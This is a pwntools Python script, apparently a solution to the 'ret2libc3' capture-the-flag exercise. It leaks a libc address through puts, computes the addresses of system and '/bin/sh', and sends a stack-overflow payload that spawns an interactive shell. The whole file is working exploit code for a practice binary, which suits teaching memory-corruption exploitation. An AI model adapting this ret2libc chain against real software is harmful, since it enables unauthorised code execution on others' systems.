#!/usr/bin/env python
from pwn import *

# 启动进程
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
libc = ELF('/lib32/libc.so.6')  # 加载自定义的 libc

# 定义偏移量和地址
offset = 0x6c + 4
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = b'A' * offset + p32(puts_plt) + p32(main) + p32(libc_start_main_got)
sh.sendlineafter(b'Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']  # 计算 libc 基地址
system_addr = libcbase + libc.symbols['system']  # 计算 system 的地址
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))  # 找到 /bin/sh 的地址

print("libc base:", hex(libcbase))
print("system addr:", hex(system_addr))
print("binsh addr:", hex(binsh_addr))

print("get shell")
payload = b'A' * 104 + p32(system_addr) + b"A" * 4 + p32(binsh_addr)
sh.sendline(payload)

sh.interactive()